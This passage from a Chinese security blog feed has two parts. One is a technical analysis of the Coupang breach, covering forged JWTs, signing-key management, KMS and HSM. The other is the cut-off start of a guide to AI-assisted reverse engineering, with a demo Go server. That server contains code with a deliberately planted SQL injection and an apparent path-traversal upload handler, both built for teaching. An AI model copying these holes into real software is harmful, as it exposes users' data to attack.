href="https://www.msit.go.kr/eng/bbs/view.do;jsessionid=iMyzX8C42zedbf27PtWxq844qjcyYy0VOCt74FEO.AP_msit_2?sCode=eng&mPid=2&mId=4&bbsSeqNo=42&nttSeqNo=1221&utm_source=perplexity">Investigation Results on the Data Breach by a Former Coupang Employee</a>，本篇所引用的技術細節也都會來自於這個報告。</p><p>整起事件的開端發生於 2025 年 11 月 16 號，Coupang 收到了一封來自攻擊者的郵件，說因為系統漏洞的關係有一堆個資外洩，並且附上了相關截圖來證明。</p><p>而 Coupang 隨即展開調查，開始翻了翻 log，發現確實是有資料被偷走，就有了大家看到的新聞。目前整起事件已經差不多告一個段落，相關的結果都可以透過官方聲明稿跟新聞得知，這篇文章不會討論結果，只會專注於技術上的細節。</p><p>因此，我們關心的問題是：「這個攻擊者怎麼打進去的？」，先來看看他的身份。</p><blockquote><p>The attacker was identified as a former Coupang software developer (Staff Back-end Engineer) who, whlie employed at Coupang, was responsible for designing and developing user authentication systems for backup in the event of system failures.<br>攻擊者被確認為一名前 Coupang 軟體開發人員（資深後端工程師）。他在 Coupang 任職期間，負責設計與開發使用者認證系統，用於在系統故障時作為備援機制。</p></blockquote><p>攻擊者是前員工，而且負責開發 auth 相關的系統。開頭講的寄信的人也是這個人，至於為什麼他要主動揭發自己的攻擊行為，這個報告跟新聞都沒有講。</p><p>在正常的登入流程中，驗證完帳號密碼以後，系統會發一個「electronic access badge」（報告原文就這樣寫），而接下來 server 就會用 signing key 驗這個 badge 是否合法。而攻擊者在 Coupang 工作時，直接取得了這把 signing key，所以本地就可以簽出一個合法的 badge，進而以任何人的身份登入。</p><p>這個 electronic access badge 聽起來很像是 JWT token，我自己試了一下 Coupang 台灣的網站，也發現拿來驗證身份的就是個 JWT token（CT_AT_TW），解出來會像這樣：</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"aud"</span><span class="token operator">:</span> <span class="token punctuation">[</span>    <span class="token string">"https://www.tw.coupang.com"</span>  <span class="token punctuation">]</span><span class="token punctuation">,</span>  <span class="token property">"client_id"</span><span class="token operator">:</span> <span class="token string">"4cb7da11-c6d6-4ca3-875f-332cf489d5d"</span><span class="token punctuation">,</span>  <span class="token property">"exp"</span><span class="token operator">:</span> <span class="token number">1773067653</span><span class="token punctuation">,</span>  <span class="token property">"ext"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"LSID"</span><span class="token operator">:</span> <span class="token string">"a3788aeb-239c-453d-cd90-72ac345aa431"</span><span class="token punctuation">,</span>    <span class="token property">"fiat"</span><span class="token operator">:</span> <span class="token number">1773064052</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>  <span class="token property">"iat"</span><span class="token operator">:</span> <span class="token number">1773064052</span><span class="token punctuation">,</span>  <span class="token property">"iss"</span><span class="token operator">:</span> <span class="token string">"https://mauth.tw.coupang.net/"</span><span class="token punctuation">,</span>  <span class="token property">"jti"</span><span class="token operator">:</span> <span class="token string">"043c2c37-c373-4b75-abbc-ad8e646bb490"</span><span class="token punctuation">,</span>  <span class="token property">"nbf"</span><span class="token operator">:</span> <span class="token number">1773064052</span><span class="token punctuation">,</span>  <span class="token property">"scp"</span><span class="token operator">:</span> <span class="token punctuation">[</span>    <span class="token string">"openid"</span><span class="token punctuation">,</span>    <span class="token string">"offline"</span><span class="token punctuation">,</span>    <span class="token string">"core"</span><span class="token punctuation">,</span>    <span class="token string">"core-shared"</span><span class="token punctuation">,</span>    <span class="token string">"pay"</span>  <span class="token punctuation">]</span><span class="token punctuation">,</span>  <span class="token property">"sub"</span><span class="token operator">:</span> <span class="token string">"556683653781741"</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>雖然我不知道 Coupang 內部的技術實作細節，也不能百分百確定是 JWT token，但由於簽 token 檢查身份這個機制以 JWT token 來講最合適，我們就先當作是 JWT token 吧，就算背後用的是其他的，流程也應該是類似的。</p><p>看到這邊，攻擊者怎麼打進去的已經很明顯了，那就是他還在工作的時候拿到了 signing key（或你也可以說是 JWT secret），所以離職之後就在外面用這個 signing key 自己簽 token，server 驗了合法就放它過，就登入到其他人的帳號了。登進去之後，就可以去 my profile 之類的頁面看到個資。</p><p>所以這其實並不是來自於外部的攻擊，不是外部駭客透過 auth 系統的漏洞打進來，而是 insider threat，是離職員工透過在職時拿到的內部資訊入侵系統。</p><p>接著我們可以從兩個角度來看這件事情，分別是企業內部的 key 為什麼會被一個開發人員拿到，以及 JWT token 當作 auth 驗證這個機制本身的風險。</p><h2><span id="金鑰管理的生命週期">金鑰管理的生命週期</span></h2><p>金鑰很重要，這點大家都知道，而金鑰的生命週期其實有分很多階段：</p><ol><li>產生金鑰（Generate）</li><li>金鑰保存（Store）</li><li>金鑰分發（Distribute）</li><li>金鑰使用（Use）</li><li>金鑰輪替（Rotate）</li><li>金鑰銷毀（Destroy）</li></ol><p>一開始會碰到的就是要先產生一個 secret key，並確保產生的方式是安全的，這一步通常會強調要用安全的演算法、熵足夠的隨機數以及安全的環境等等。有問題的例子是用了不夠安全的隨機數（如 <code>Math.random()</code>），或者是在一個不安全的環境中產生金鑰，例如在開發者的本地環境產生。</p><p>產生完之後，要選擇安全的地方來保存，例如說存在 HSM 或者是存在 KMS 裡面；反例是直接明文存在某台主機上。</p><p>接著當系統要用這把 key 的時候，要能安全地把這把 key 從儲存的地方傳輸到使用的地方。反例就是直接在內網透過 HTTP 傳輸這把 key，能在內網攔截封包就能直接看到明文的 key。</p><p>再來使用的時候要用對，金鑰應該只被用於其設計的用途，並且要限制誰可以使用這把 key。例如說我產一把 key 然後每個系統都用同一把，那就是錯誤的使用方式，一旦被偷了每個系統都遭殃。應該是 auth 一把，payment 一把，或甚至同個系統內也會有多把 key。</p><p>話說從 Coupang 對外的聲明中可以看出，雖然他們 auth 的那把外洩，但是 payment 相關的服務是沒問題的，資料也沒有流出。韓國的調查報告中也指出影響範圍僅在 My Information 等頁面，不包含支付相關資訊。</p><p>最後則是跟淘汰 key 有關，要定期做 key rotation 把金鑰換掉，限制攻擊時間窗口，而把 key 完全銷毀之後要確保無法復原，這把 key 不能再次被使用。</p><p>這個生命週期中，任何一步有問題，都可能導致 key 的外洩。</p><p>以這次 Coupang 的案例看來，既然前員工可以碰到 key，那就代表應該是在前兩步出了錯，在調查報告裡面有指出現任員工的電腦中也有這個 key：</p><blockquote><p>A forensic examination of laptops used by current developers confirmed that the signing key, which was required to be stored exclusively within the key management system, had also been stored locally on developer laptops (via hardcoding)<br>對現任開發人員所使用筆記型電腦進行的鑑識分析確認，用於簽章的金鑰本應只儲存在金鑰管理系統中，但實際上也被以硬編碼（hardcoding）的方式儲存在開發人員的筆記型電腦本地端。</p></blockquote><p>有許多公司在做金鑰管理時，可能都只考慮到了其中一半。例如說知道要用一些 Secret Manager 或是 vault 來保存金鑰，並且透過安全的方式傳輸給系統使用，但卻忽略了其他步驟，例如說金鑰產生。</p><p>這個 key 是怎麼產生的？有許多公司可能是 developer 本地產一個 key，接著把 key 丟給 SRE，SRE 配置到 vault 中。在這個流程中，key 其實已經被至少兩個內部員工知道了，而且這段也沒什麼 log 可以查，因為是在 key 被放入 vault 前做的事情。</p><p>當 key 被放到其他地方管理時，此時也可能 SRE 具有權限直接查看 key 的明文並偷走，但是 vault 系統應該會有 access log 可以往回追溯。但如果是在 key 被放進去之前就記錄下來，那就不會有紀錄，成了資安的破口。</p><p>雖然說 insider 的風險相對於其他類別並沒有這麼高，因為內部人士作惡通常更容易被查出來而且會面臨法律責任，可是一旦發生了，對公司名聲還是會造成極大的損害，就像這次 Coupang 的事件一樣。</p><h2><span id="更安全的金鑰管理方式">更安全的金鑰管理方式</span></h2><p>前面有提到許多公司對於 key 的保存是沒什麼問題的，但是在產生 key 這段做得不夠好，讓內部人士可以直接拿到 key，有了來自內部的風險。</p><p>因此，最安全的方式就是「沒有任何人知道這把 key 是什麼」。</p><p>「任何人」包括 SRE、資安長、CEO 或是開發者，所有人都不知道 key 到底是什麼。</p><p>舉例來說，如果你原本是讓 SRE 自己產生 key 再放到 AWS Secret Manager，可以改成直接用 AWS Secret Manager 的 <a href="https://docs.aws.amazon.com/secretsmanager/latest/userguide/create_secret.html">create-secret</a> 指令幫你產一個 key 並且儲存：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">aws secretsmanager create-secret <span class="token punctuation">\</span>  <span class="token parameter variable">--name</span> jwt-secret <span class="token punctuation">\</span>  --generate-secret-string <span class="token string">'&#123;"PasswordLength":64&#125;'</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>（只是拿 AWS 來舉例，你用其他雲的類似服務應該也都差不多）</p><p>如此一來，在 key 產生的時候就不會有人知道內容。</p><p>雖然這樣的方式比起剛剛那樣已經更安全了，但仔細想想會發現依然還有幾個問題。</p><p>第一，放在 AWS Secret Manager 中的 key 是可以被讀取的，你有 <code>secretsmanager:GetSecretValue</code> 權限就可以讀。所以若是有 SRE 具有這個權限，或是透過其他方式幫自己設定這個權限，一樣讀得到。</p><p>第二，系統因為要用這把 key，它肯定是讀得到的，那如果有開發者改了一段程式碼在 CI 或是系統啟動時把 key 的內容 dump 到 log 中，他一樣可以知道 key 的明文。</p><p>這兩種方式都會留下紀錄，如 AWS 權限變更的紀錄、讀取 key 的紀錄與程式碼的 commit 紀錄等等，而且第二種方式的攻擊前提也不低，通常把  code 推上去 production 之前需要過 PR review，印出來的時候也可能直接被 DLP 掃到。</p><p>但無關乎會不會留下證據，重點是如果內部人士有心作惡，還是拿得到的。</p><p>其中一種解決方式是先從 key rotation 做起，當可以碰到 key 的人員離職時，記得把相關的 key 都換過一輪以防外洩。儘管我們無法防止在職人員作惡，但至少保障離職之後就自動喪失所有權限，在職時接觸到的資訊或金鑰都無法再使用。</p><p>若是還想要再更安全，就算在職員工也不想讓他摸到 key，那就是把「系統需要拿到 key 才能加解密」這個前提拿掉，變成連加解密都不在系統本身做了，而是把這段代理到另外一個可信的地方。</p><p>這就是常見的 KMS（Key Management Service）專門在做的事情。</p><p>在這類型的服務中，你是拿不到 key 的，它只開放給你幾個 API，例如說：</p><ol><li>Encrypt</li><li>Decrypt</li><li>Sign</li><li>Verify</li></ol><p>所以你要加解密時，就是去呼叫 KMS 的 API 並且等待結果，在這流程中你根本不需要 key，從 key 的產生到使用，全部都是在 KMS 內部做的。</p><p>簡單來講，就是把這些 key 的相關操作獨立成一個子系統。</p><p>但若只是獨立成子系統，其實根本問題並沒有被解決，這個子系統也會再碰到同樣的問題，那就是 KMS 被 compromised 該怎麼辦？key 會不會洩漏？</p><p>若是想做到 key 真的完全不被洩漏（盡可能完全啦，但當然不是 100%），最終解法就是把 key 的管理都交給專門的硬體，也就是 HSM（Hardware Security Module），這些硬體是專門拿來保護 key 的，甚至有考慮到實體攻擊的風險，類似於電影裡看到的那種，保險箱金庫偵測到有人要入侵會自己銷毀之類的。</p><p>不過企業級的 HSM 應該是需要百萬台幣起跳，除了自己買 HSM 以外，雲端服務的 KMS 背後也可以搭配 Cloud HSM 來用，例如說 AWS 的 <a href="https://docs.aws.amazon.com/pdfs/kms/latest/cryptographic-details/kms-crypto-details.pdf">KMS 文件</a>裡面就有寫到：</p><blockquote><p>If the Origin is AWS_KMS, after the ARN is created, a request to an AWS KMS HSM is made over<br>an authenticated session to provision a hardware security module (HSM) backing key (HBK).<br>如果 Origin 設為 AWS_KMS，在建立 ARN 之後，系統會透過經過驗證的連線向 AWS KMS 的 HSM 發送請求，建立一把 HSM backing key。</p></blockquote><p>話說 Secret Manager 跟 KMS 的概念某個層面有點類似，簡單講一下區別。</p><p>Secret Manager 只是管 secret 的，這個 secret 可以是你呼叫第三方 API 的 token，也可以是登入某個服務的 password，這些都是 secret，但卻不一定是「key」，這個 key 專門指的是密碼學上的 key。</p><p>而 Key Management Service 就是專門在管 key 用的，因此提供了加解密跟數位簽章相關的 API，圍繞著 key 在打轉，所以當然連 key 的產生跟整個生命週期都有顧慮到，這就是 Secret Manager 與 KMS 的不同。</p><p>簡單來說，Secret Manager 解決的是「如何安全地保存秘密資訊」，而 KMS 解決的是「如何安全地管理與使用密碼學金鑰」。</p><p>不過話說回來，為什麼我們要花這麼多的心力去保護這一把 key？那是因為以 JWT token 來說，一旦 private key 被拿走了，就可以直接偽造任意使用者的身份登入…等等，這件事情本身是不是怪怪的？</p><h2><span id="使用-jwt-token-的額外風險">使用 JWT token 的額外風險</span></h2><p>這篇 2016 年的經典文章 <a href="http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/">Stop using JWT for sessions</a> 中有定義三個名詞：</p><ol><li>Stateless JWT：session data 直接存到 JWT 裡</li><li>Stateful JWT：JWT 裡只存 session id</li><li>Session token&#x2F;cookie：傳統做法，cookie 存 session id</li></ol><p>而這次我想討論的主要是第一種。</p><p>在第一種的狀況中，由於 user 的 data 直接存到 JWT 裡面，因此一旦 JWT 可以被偽造，就能直接造成嚴重的問題，如同這次 Coupang 一樣。</p><p>但如果傳統做法或者是第二種，我們只存 session id 的話，由於這是個隨機字串，在不可預測的前提之下，攻擊者是沒辦法做更多事情的，所以拿到 key 也沒辦法直接偽造身份。</p><p>也就是說，stateless JWT 的做法其實有個風險在，那就是 key 被偷走就直接 game over，所以 key 的保護就變得非常重要。</p><p>還有另一點需要注意的，如果是用非對稱式的加密，除了保護 private key，也需要保護 public key。</p><p>啊？都叫做 public 了為什麼還需要保護？</p><p>因為系統在驗證的時候是拿 public key 去驗嘛，而這個 public key 通常都會放在一個固定的 URL，如 .well-known&#x2F;jwks.json 之類的。</p><p>若是這個 URL 被 compromised，攻擊者就能產生一組新的 key，把 public key 換掉，這樣就可以用自己 sign 的 JWT token 過關了。雖然其他正規管道 sign 出來的 key 全部都會失敗然後系統肯定會報警，但攻擊者依舊有個 time window 可以成功偽造身份。</p><p>所以無論是 private key 還是 public key，都需要受到保護。</p><h2><span id="結語">結語</span></h2><p>以往看到資安事件的第一反應都會是外部駭客入侵，但這次倒是看到了個 insider 的實際案例。「內部員工」這個身份本來就會擁有更多權限，看到更多東西，而「內部開發者」就又更甚了，甚至還是「內部 auth 系統的開發者」。</p><p>雖然離職了，但還是比其他人知道更多內部細節，也更容易從外部打回去（例如說自己偷帶一份 code 然後用漏洞打進去，或利用已知但還沒修補的漏洞等等）。</p><p>從韓國的調查報告中，也讓我們這些外部人士能夠一窺技術細節，試著去拼湊出哪些系統出了問題，又該怎樣做得更好。</p><p>我相信有許多公司在產生 key 這段多少都有點問題，我也看過很多是開發者或是 SRE 自己產，產完放到 Secret Manager 的。很多公司也沒這麼多資源專門去弄個 KMS（或甚至有些是沒想到可以這樣或需要這樣做）。這些都是風險，都會回到風險管理的框架底下去討論，應該不少公司目前選擇的是接受風險，亦即承認風險的存在，但因發生機率小所以先不處理。</p><p>若是真的有哪個能碰到這些的離職員工偷偷帶了一份資料走，那類似的事情很可能又會重演。</p><p>話說在看這個事件的時候一直讓我想到以前做加密貨幣相關保險的工作經歷，因為管 key 這種東西其實對交易所是至關重要的，尤其是錢包的 private key，畢竟直接關係到大筆金錢。那時候也看了不少該怎麼保護 private key 的方法，記了很多筆記，也學了很多專有名詞，這篇提到的 HSM、KMS 或沒提到的 DEK（Data Encryption Key）、KEK（Key Encryption Key）還有 Envelope encryption 等等，這些也都很有趣。</p><p>如果我能找回以前寫的筆記以及逐漸模糊的記憶的話，以後再來寫一篇吧。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;從去年 11 月開始，Coupang 個資外洩的事件就受到不少關注，一來是據傳外洩的資料數目龐大，二來這間公司也有在台灣設點。隨著調查進度持續推進，也有越來越多細節出現，甚至還被形容為&lt;a href=&quot;https://ec.ltn.com.tw/article/breakingnews/5289937&quot;&gt;如同電影情節&lt;/a&gt;，去河裡打撈硬碟。&lt;/p&gt;
&lt;p&gt;最近跑去翻了韓國那邊出的報告發現寫得還滿詳細的，就寫一篇來聊聊這整件事情在技術上到底是怎麼做到的，以及在資安上又有哪些可以留意的地方。&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  
  
  <entry>
    <title>感謝 AI 讓我這外行人也能做簡單的逆向工程</title>
    <link href="https://blog.huli.tw/2026/03/01/reverse-engineering-with-ai-ghidra-mcp/"/>
    <id>https://blog.huli.tw/2026/03/01/reverse-engineering-with-ai-ghidra-mcp/</id>
    <published>2026-03-01T04:20:08.000Z</published>
    <updated>2026-03-01T12:44:59.482Z</updated>
    
    <content type="html"><![CDATA[<p>最近碰到一個場合拿到了個 Golang HTTP server 的 binary，需要把它拆開進一步研究，找到通往下一步的線索。</p><p>但關於逆向工程這件事情，我是很陌生的。我只會把 binary 丟到 Ghidra 裡面，接著就什麼都不會了，我連搜尋字串都不會。</p><p>不過現在 AI agent 已經進化得很快了，只要工具運用得當，像我這種的逆向外行人，也能簡單靠 AI 做基礎的逆向工程，這篇就來記錄一下步驟。</p><p>先寫在前面，我拿到的跟這次示範的都是比較小的程式，如果是更大或更複雜的我也不知道能不能跑。我也不會覺得 AI 可以完全取代人原本需要做的部分，但鐵定能讓部分任務變得更輕鬆。</p><p>而像我這樣的外行人，原本能逆出的東西接近沒有，靠 AI 之後能給一些線索都好，就算是亂講的也有一些些參考價值，有總比沒有好嘛，亂講的我還能想辦法再去驗證。至於原本就會逆向的，我也不確定 AI 有沒有幫助，或者是他們會怎麼用，這個不在本篇的討論範圍。</p><span id="more"></span><h2><span id="環境準備">環境準備</span></h2><p>為了示範整體流程，先隨意讓 AI 寫了個有註冊、登入跟上傳檔案功能的 Golang server，檔案結構是：</p><pre class="line-numbers language-none"><code class="language-none">.├── config│   └── config.go├── go.mod├── go.sum├── handlers│   ├── auth.go│   ├── avatar.go│   └── user.go├── main.go├── Makefile├── middleware│   └── auth.go├── models│   └── user.go├── routes│   └── routes.go└── uploads<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>內容的話，貼幾個最主要的檔案上來就好，一個是 route：</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> routes<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/handlers"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">Setup</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>gin<span class="token punctuation">.</span>Engine <span class="token punctuation">&#123;</span>  r <span class="token operator">:=</span> gin<span class="token punctuation">.</span><span class="token function">Default</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  authHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewAuthHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  userHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewUserHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  avatarHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewAvatarHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  authMiddleware <span class="token operator">:=</span> middleware<span class="token punctuation">.</span><span class="token function">AuthMiddleware</span><span class="token punctuation">(</span>config<span class="token punctuation">.</span>JWTSecret<span class="token punctuation">)</span>  api <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token comment">// 公開端點</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/register"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Register<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Login<span class="token punctuation">)</span>    <span class="token comment">// 需登入端點</span>    api<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/users/:id"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetUserByID<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/me/messages"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetMyMessages<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/me/avatar"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> avatarHandler<span class="token punctuation">.</span>Upload<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> r<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>再來是刻意埋的兩個漏洞，註冊時的 SQL injection：</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> handlers<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"fmt"</span>  <span class="token string">"net/http"</span>  <span class="token string">"time"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"github.com/golang-jwt/jwt/v5"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/middleware"</span>  <span class="token string">"membership-api/models"</span><span class="token punctuation">)</span><span class="token keyword">type</span> RegisterRequest <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  Username <span class="token builtin">string</span> <span class="token string">`json:"username" binding:"required"`</span>  Email    <span class="token builtin">string</span> <span class="token string">`json:"email" binding:"required"`</span>  Password <span class="token builtin">string</span> <span class="token string">`json:"password" binding:"required"`</span><span class="token punctuation">&#125;</span><span class="token keyword">type</span> LoginRequest <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  Username <span class="token builtin">string</span> <span class="token string">`json:"username" binding:"required"`</span>  Password <span class="token builtin">string</span> <span class="token string">`json:"password" binding:"required"`</span><span class="token punctuation">&#125;</span><span class="token keyword">type</span> AuthHandler <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  DB <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token function">NewAuthHandler</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>AuthHandler <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">&amp;</span>AuthHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AuthHandler<span class="token punctuation">)</span> <span class="token function">Register</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> req RegisterRequest  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">ShouldBindJSON</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"invalid request"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  passwordHash<span class="token punctuation">,</span> err <span class="token operator">:=</span> models<span class="token punctuation">.</span><span class="token function">HashPassword</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>Password<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to hash password"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 刻意保留的 SQL injection 漏洞：使用字串拼接而非參數化查詢</span>  query <span class="token operator">:=</span> fmt<span class="token punctuation">.</span><span class="token function">Sprintf</span><span class="token punctuation">(</span><span class="token string">"INSERT INTO users (username, email, password_hash) VALUES ('%s', '%s', '%s')"</span><span class="token punctuation">,</span>    req<span class="token punctuation">.</span>Username<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Email<span class="token punctuation">,</span> passwordHash<span class="token punctuation">)</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">Exec</span><span class="token punctuation">(</span>query<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusConflict<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"username or email already exists"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusCreated<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"registration successful"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>以及上傳檔案時的 path traversal：</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> handlers<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"net/http"</span>  <span class="token string">"path/filepath"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">type</span> AvatarHandler <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  DB <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token function">NewAvatarHandler</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>AvatarHandler <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">&amp;</span>AvatarHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AvatarHandler<span class="token punctuation">)</span> <span class="token function">Upload</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  userID<span class="token punctuation">,</span> ok <span class="token operator">:=</span> middleware<span class="token punctuation">.</span><span class="token function">GetUserID</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span>  <span class="token keyword">if</span> <span class="token operator">!</span>ok <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusUnauthorized<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"unauthorized"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  